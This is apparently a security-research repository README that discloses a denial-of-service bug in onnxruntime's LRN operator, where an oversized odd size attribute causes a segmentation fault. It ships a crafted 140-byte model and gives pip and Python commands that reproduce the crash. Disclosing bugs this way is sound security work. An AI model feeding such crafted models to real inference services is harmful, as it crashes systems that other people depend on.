rez0/onnx-lrn-sigsegv-poc

ONNX LRN Operator SIGSEGV — Security Research PoC

This is a security research proof of concept. Do not use in production.

Vulnerability

The LRN (Local Response Normalization) operator in onnxruntime crashes with SIGSEGV when the size attribute is set to a large odd integer (e.g., 200000001). The operator validates that size > 0 and size is odd, but does not check that size is reasonable relative to the tensor dimensions.

Files

• lrn_crash_poc.onnx — 140-byte model that crashes onnxruntime with SIGSEGV
• poc.py — Full reproduction script

Reproduction

pip install onnxruntime==1.23.2 onnx numpy
python poc.py
# Or directly:
python3 -c "
import onnxruntime as ort
import numpy as np
sess = ort.InferenceSession('lrn_crash_poc.onnx')
sess.run(None, {'X': np.random.rand(1,1,4,4).astype(np.float32)})
"
echo $?  # 139 = SIGSEGV

Impact

Process crash (denial of service) on any system that loads and runs inference on this model.